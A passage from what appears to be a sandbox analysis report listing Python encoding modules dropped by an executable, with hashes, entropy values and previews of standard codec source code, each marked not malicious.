Preview:	""" Python Character Mapping Codec iso8859_5 generated from 'MAPPINGS/ISO8859/8859-5.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-5',.. encode

C:\recover\pw\Lib\encodings\iso8859_6.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11140
Entropy (8bit):	4.629970059245577
Encrypted:	false
SSDEEP:	192:+HhsuOTDvRhUrXPLouhIAs2+ijLeCdxeiu5iEp30yfZn:LTnuhIAlUH
MD5:	A69D78A4C1AB4134DC5033FA45821AAE
SHA1:	C0B9008772067BF43B1A817780D6B86DFCD87EF8
SHA-256:	1543F9AD8DCC4AA912C5C901A5A216A4EA3DB62FB19197A0D90CCC0EE69B4538
SHA-512:	230E26A9366387FAE38340921C675D3AD3CD8580096824842FA9261EB1BBA391E399525425030854FAA9F84819E57F7F9F238426B809274A6D78676143AC9F3B
Malicious:	false
Preview:	""" Python Character Mapping Codec iso8859_6 generated from 'MAPPINGS/ISO8859/8859-6.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-6',.. encode

C:\recover\pw\Lib\encodings\iso8859_7.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13151
Entropy (8bit):	4.649031466938632
Encrypted:	false
SSDEEP:	192:+HhsuOTDvReUrXPLouhIAs2+ijLEARfO21XHHjfvK8uHZh:LTEuhIAl8AN11XO8Aj
MD5:	50BFFF8D67F78DF6B9941AD829159358
SHA1:	D766C9E1E2EA76FB3CA67793F36A3F45C1545132
SHA-256:	41FEB2BEC72E3F07C0D67F0E421FF8E51A8E1688AA20AF7C8A12CE0DDF464104
SHA-512:	00EEA3F1B69FA47E0DA4B7AC0E4AD0E8830A6A3E845B3D340A4ACB4DB0838D01423B4FFAD94863178ECAD72FA1053868CE506C5AF3C010C76A29D11F2BB992C5
Malicious:	false
Preview:	""" Python Character Mapping Codec iso8859_7 generated from 'MAPPINGS/ISO8859/8859-7.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-7',.. encode

C:\recover\pw\Lib\encodings\iso8859_8.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11343
Entropy (8bit):	4.621650787612196
Encrypted:	false
SSDEEP:	192:aHhsuOTDvR7UrXPLouhIAs2+ijLUSj6ZZPHxvi:3TluhIAlcSv
MD5:	E873B80A7B474B64BA463354A5D1A39A
SHA1:	58682E0EF443927AC206F8C0B70FB2636DD1C2C2
SHA-256:	63D11B2592BDB036C8F4150EC1F968D1A6E01D22AF8D7DAF94F6C72E0A8FD752
SHA-512:	185EA3AD52F3CE519171B5CBBB5BF7071C009A800121F368CD06118F1A82D37BA2A5526118D6A8B1117C5C9AD31699BD657903CDA9C4A25D6BB7D192C643C717
Malicious:	false
Preview:	""" Python Character Mapping Codec iso8859_8 generated from 'MAPPINGS/ISO8859/8859-8.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-8',.. encode

C:\recover\pw\Lib\encodings\iso8859_9.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13463
Entropy (8bit):	4.569353880954753
Encrypted:	false
SSDEEP:	192:KHhsuOTDvRIUrXPLouhIAs2+ijLMZt6B5TdjN:nTiuhIAlEZt69x
MD5:	CAD4BC52AF4F5E24614AC8857D21DC35
SHA1:	49BDA77039C166194660CAF30885E17951603F3E
SHA-256:	FD0CCFDE95FCFEBF48BA5ED5F697C4799C3303B853077F48FFEF2FD9EF1E30C8
SHA-512:	6CBDC2C1F97DB4A9A1BFD1D1601C55F946C82BB5AE2844DDECC98A1B760B7EB292EA393DFD2A1D45BA99906397861BF01E1C0C3430D8285B517724F06F19D10E
Malicious:	false
Preview:	""" Python Character Mapping Codec iso8859_9 generated from 'MAPPINGS/ISO8859/8859-9.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-9',.. encode

C:\recover\pw\Lib\encodings\johab.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.530496029691674
Encrypted:	false
SSDEEP:	24:nNqxOzSf/XokTZKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj92FcJxFpz:Nqyzqt62VJjRU8njOxLnrxLbrLK8+Jx/
MD5:	161F7EEDD0B4169D0A36DA2E7808EB7B
SHA1:	35D8869963DBB870A4B9DF3C974DE9A5CF5F4E41
SHA-256:	C83AA2098AB15FBAD7EB999C303B27350B0459EE9F6FC2B2BF4004D4285F9E8D
SHA-512:	5219805C9AF0799449BA650FE4108B450A20A3864AC5CD7ADA83A5C2429F9604025E8F1F296A461600E73372779838971AB91F150060761597D670B4AB9ED531
Malicious:	false
Preview:	#..# johab.py: Python Unicode Codec for JOHAB..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_kr, codecs..import _multibytecodec as mbc....codec = _codecs_kr.getcodec('johab')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='johab',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamrea

C:\recover\pw\Lib\encodings\koi8_r.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14086
Entropy (8bit):	4.696171438355166
Encrypted:	false
SSDEEP:	192:veHhsuOTDvRnUrXPLouhIAs2+i4bur6Zv8muyEdP:vrT5uhIAl/euxP
MD5:	75872A24381833D8B71D42A66523AA45
SHA1:	C4AC11C4903178821FE680C732462C02626C016B
SHA-256:	90A883B291D5F1E6DBB735413D51648C31580B1927500161C16624836D01E5EE
SHA-512:	A84BD3BDBC4BCBFE90B550CB4FFB6CDBEBBB4B1C3824A931CBA448E84C79D4D6B05D9D67C0718FA97F790B8C1071C775010058306BCEC2769D4E721808CED8FF
Malicious:	false
Preview:	""" Python Character Mapping Codec koi8_r generated from 'MAPPINGS/VENDORS/MISC/KOI8-R.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='koi8-r',.. encode=

C:\recover\pw\Lib\encodings\koi8_t.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13501
Entropy (8bit):	4.664370116157909
Encrypted:	false
SSDEEP:	192:ahsuOTDvRNUrXPLouhIAs2+imIzDCYPfuyEdP:fTLuhIAl5jfuxP
MD5:	B2F96B9A1CF37B7C81BE8704D4E62EF9
SHA1:	AB37BF387BF19A833126952D139E41093DD217D9
SHA-256:	86D922A935AFDE1BD7C22CF8A9F23A237511C92C51509A80051DD2862A84D09F
SHA-512:	F139A2AAB199BB95905B6C020A6410D9FC1C67486BB8AF7796CE41BCC8CDE7AE034749F50728162BE836AE2D4ED74D4ED82282EE56517843C404412C72756ECE
Malicious:	false
Preview:	""" Python Character Mapping Codec koi8_t.."""..# http://ru.wikipedia.org/wiki/...-8..# http://www.opensource.apple.com/source/libiconv/libiconv-4/libiconv/tests/KOI8-T.TXT....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return c

C:\recover\pw\Lib\encodings\koi8_u.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14069
Entropy (8bit):	4.689466302139651
Encrypted:	false
SSDEEP:	192:SHhsuOTDvR6UrXPLouhIAs2+i4bur6e9zuyEdP:fTIuhIAl/5uxP
MD5:	211B71B4C717939EDEDBFD33A9C726BE
SHA1:	64DEB95FD1A59EC03B09643BE2F2055A079151E4
SHA-256:	9F77F72F8A42A1BA97C7D53AFDB6F6A6D4E08707CAA4D4CD57D6C113156BB32B
SHA-512:	3CBACB39A0994C5285E5B0316B3816916D43C6EE607398022B7BF05430A9621416C2F28A848C2E90B47BE147DDFFB7CF03D5CE8C129BFE52247D6AA238FF5639
Malicious:	false
Preview:	""" Python Character Mapping Codec koi8_u generated from 'python-mappings/KOI8-U.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='koi8-u',.. encode=Codec(

C:\recover\pw\Lib\encodings\kz1048.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14030
Entropy (8bit):	4.572243714560591
Encrypted:	false
SSDEEP:	192:Mn/GuINDBTXqJPnXEeXGyQCmEYcrj6CbwK+avSMcdgF:LNneXGy1lHwK+avSMNF
MD5:	F4729A1242BD140B732D4BEE6E137558
SHA1:	44EFA222BB2CA9ADD776C29A098F9F03FF03E515
SHA-256:	DA8BAC477F14620D8AA89EB6CB8963602E1C39724148369C88EF48C95D495011
SHA-512:	F5812E38B06620752A557FA70F207AA3298A2FEC7598107BCE749F5B1529A8CA92CAC5AD72E068F6F711C714868389861E93B25B484FA2AD13FC8B3A50EE797E
Malicious:	false
Preview:	""" Python Character Mapping Codec kz1048 generated from 'MAPPINGS/VENDORS/MISC/KZ1048.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self, input, errors='strict'):.. return codecs.charmap_encode(input, errors, encoding_table).... def decode(self, input, errors='strict'):.. return codecs.charmap_decode(input, errors, decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input, self.errors, encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input, self.errors, decoding_table)[0]....class StreamWriter(Codec, codecs.StreamWriter):.. pass....class StreamReader(Codec, codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='kz1048',..

C:\recover\pw\Lib\encodings\latin_1.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	4.724793488479122
Encrypted:	false
SSDEEP:	24:J4OSEHV0yWJyWKMufQ2hQZUQWSJzWSJDtyWVyWg9ZKj9b1QJxFplR:J4OSJui6SJ6SJ8TKnQJxTz
MD5:	92C4D5E13FE5ABECE119AA4D0C4BE6C5
SHA1:	79E464E63E3F1728EFE318688FE2052811801E23
SHA-256:	6D5A6C46FE6675543EA3D04D9B27CCCE8E04D6DFEB376691381B62D806A5D016
SHA-512:	C95F5344128993E9E6C2BF590CE7F2CFFA9F3C384400A44C0BC3ACA71D666ED182C040EC495EA3AF83ABBD9053C705334E5F4C3F7C07F65E7031E95FDFB7A561
Malicious:	false
Preview:	""" Python 'latin-1' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....class Codec(codecs.Codec):.... # Note: Binding these as C functions will result in the class not.. # converting them to methods. This is intended... encode = codecs.latin_1_encode.. decode = codecs.latin_1_decode....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.latin_1_encode(input,self.errors)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.latin_1_decode(input,self.errors)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....class StreamConverter(StreamWriter,StreamReader):.... encode = codecs.latin_1_decode.. decode = codecs.latin_1_encode....### encodings module API..

C:\recover\pw\Lib\encodings\mac_arabic.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	37165
Entropy (8bit):	4.736863402692657
Encrypted:	false
SSDEEP:	384:RakostECDXJVf+hiOjiU6Q3DBEQ12yWQZr75CAwKC1/h:Ukost5LX2htjN6QT682PQx5PwVJ
MD5:	C269925332C46C7A774FBFCAD74F4B66
SHA1:	5F9542A16C83A7EE831F320507BD87756B398DCF
SHA-256:	F5C262F930F3B7D83466283347F8B0D7B5C7CBF18DD6FCEB4FAF93DBCD58839E
SHA-512:	5BAE57045F650E062EAEA05106F726A0C9B29409CA6CD9667338473DF8CA779BE8965C5F8BD5D87B2DDB76024794AFFC92FF98850D0D0161269133AC3B2F7825
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/APPLE/ARABIC.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-arabic',.. encode=Codec().encode,

C:\recover\pw\Lib\encodings\mac_croatian.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13940
Entropy (8bit):	4.577897629122807
Encrypted:	false
SSDEEP:	192:wHhsuOTDvRI7ZpouhIAs2+iy2w4kN8gzeqBwHr+:tTZuhIAl+4E16ap
MD5:	C3FC8C5389BFDF1371B849C38FE1A20C
SHA1:	009654FD007C938E2FC889B64954FD139EE051E8
SHA-256:	68539CA54FFD5D96C07F3590E720D8A28009CB7CAA13E607AC3084D19DD5A19A
SHA-512:	8F81FD2106ED43E0CE34004576ED99D77FB6766EC6B757EB4F8B815742E86F90C36CDBAF19E9C3BE3D4F2B92B94695D014721C4A2D7E22312155BE7FBA1164BA
Malicious:	false
Preview:	""" Python Character Mapping Codec mac_croatian generated from 'MAPPINGS/VENDORS/APPLE/CROATIAN.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-croatian',..

C:\recover\pw\Lib\encodings\mac_cyrillic.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13761
Entropy (8bit):	4.613646718299373
Encrypted:	false
SSDEEP:	192:8HhsuOTDvRA7ZpouhIAs2+i4Xm8jLPeqBap+f:pTduhIAl+mmia1f
MD5:	69AF178D83304D0AB6260D64CC9C734F
SHA1:	AA73ADF92F5762F559B26C9858590AA750D4F25F
SHA-256:	AC11E1F54789AFF782D79FE7D6FD52183EF0F57B6AC4A0F680353FE0113F0D4D
SHA-512:	A42B7C7CD5E6AE157B1DCE131264C353DF0FF6FEA09B06D1498EF07931D94D91C48D311964E0F35D4DF893CE65BFD5F3339BB9E1541DFBE2A2FEED25A478E9F9
Malicious:	false
Preview:	""" Python Character Mapping Codec mac_cyrillic generated from 'MAPPINGS/VENDORS/APPLE/CYRILLIC.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-cyrillic',..

C:\recover\pw\Lib\encodings\mac_farsi.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	15477
Entropy (8bit):	4.803106966743048
Encrypted:	false
SSDEEP:	192:4HhsuOTDvRe7Zt+/UxcXwz1BhFouhCuMQ+iujx5zCdxeiu5iEpkHzWO0yfZBcsWR:FTPuhCuj6fHmHzp03
MD5:	46E0758A4DF808F2649BD6B7262362BA
SHA1:	A647995DAE668E9D2EDF34529CF1DDDD06AC8016
SHA-256:	B0F1FA8399AD1844EF5F07ACFCD523585AB576F411D845A008A610FF6A25AD31
SHA-512:	ABB217D00013E01B89855773B9CA728F2F0D14C9E3A7F4CC705588D458CB06E93A6FC187F87FD084F78E0668094324F9D0857D58CFC68D04A8883C8973BB6A77
Malicious:	false
Preview:	""" Python Character Mapping Codec mac_farsi generated from 'MAPPINGS/VENDORS/APPLE/FARSI.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-farsi',.. e

C:\recover\pw\Lib\encodings\mac_greek.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14028
Entropy (8bit):	4.6264619578502515
Encrypted:	false
SSDEEP:	192:WlHhsuOTDvRT7ZpouhIAs2+iEh+GsHlIu/lwqBxTj/Fq3FHEj:rTCuhIAl6+GeJ/Wa3QVQ
MD5:	338143EC1BC5F5DDE251657BECC4667A
SHA1:	E68BFEAB6E5209748AC47B44505E6CA581141647
SHA-256:	4C67D361F922B611213FD8FEB9FCAAA9FF8CB57CD961F1CA1B5CF4483B1DEE66
SHA-512:	D58D0F6309FCF945FF25F7B5D825E8BAB1BFBDB40490110ADBA51B587AED5BE101A22C22CA99B9A4FF9B355F8E7980A713EA6CDD550403B37915EB79796E8A39
Malicious:	false
Preview:	""" Python Character Mapping Codec mac_greek generated from 'MAPPINGS/VENDORS/APPLE/GREEK.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-greek',.. e

C:\recover\pw\Lib\encodings\mac_iceland.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13805
Entropy (8bit):	4.569004919357403
Encrypted:	false
SSDEEP:	192:+HhsuOTDvRB7ZpouhIAs2+iy2wkKY2gKPeqBamec6U6+8:LTcuhIAl+k3LFam
MD5:	8FF7EE70CFFA2B336AEE3367796C96ED
SHA1:	1F26D1C59F9A124AD334FB2BB3FC1E3D605587FA
SHA-256:	64DE55FD0EA0FE4D2512B2303DCB3D20CC57061D78D08A11D3AA6F19E1877826
SHA-512:	6D0A64EBFA6F29FD5317043F9C08D0D1F68A39B6640615B2EF093C99629479CE8562C29AEA6509E2FEB255BFE93D0E9FCE9FB1DB43F86F17FE366ADC2788FC7F
Malicious:	false
Preview:	""" Python Character Mapping Codec mac_iceland generated from 'MAPPINGS/VENDORS/APPLE/ICELAND.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-iceland',..

C:\recover\pw\Lib\encodings\mac_latin2.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14430
Entropy (8bit):	4.621572363853459
Encrypted:	false
SSDEEP:	192:S3hsuOTDvRNUrXPLouhIAs2+iDK19L4vJPeqB48:hTnuhIAlmP4EaD
MD5:	BAF2B9E09D011F78EA36ED2CC5ED22FD
SHA1:	77B62918E1FAFD837EEE086C552265384BB506B4
SHA-256:	74C9045009FABFFA3E81B5B41D97A85860BA42D109DB6673A276EA8BA9B59E56
SHA-512:	5FB69F8A5FB424B7872B3872CB75B3B538A35533BFE8F8AFFEC44D82B372C866D1841B2568680ACB954CEB696A92EE3091DC06F04EA89DB5651F35F5667B6DA1
Malicious:	false
Preview:	""" Python Character Mapping Codec mac_latin2 generated from 'MAPPINGS/VENDORS/MICSFT/MAC/LATIN2.TXT' with gencodec.py.....Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY...(c) Copyright 2000 Guido van Rossum....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(C

C:\recover\pw\Lib\encodings\mac_roman.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13787
Entropy (8bit):	4.580644681215749
Encrypted:	false
SSDEEP:	192:wHhsuOTDvR27ZpouhIAs2+iy2w4KY2gKPeqBaoG5:tT/uhIAl+43LFaW
MD5:	1F99EDC6D4A3BA200295364C52D6038D
SHA1:	8FD1FF1EEC2F74907935621572360E7E53FE7038
SHA-256:	6BF6FDE10F2350232DE5EE47D27CAE885362602443B59A924DE8EB6998B18BB2
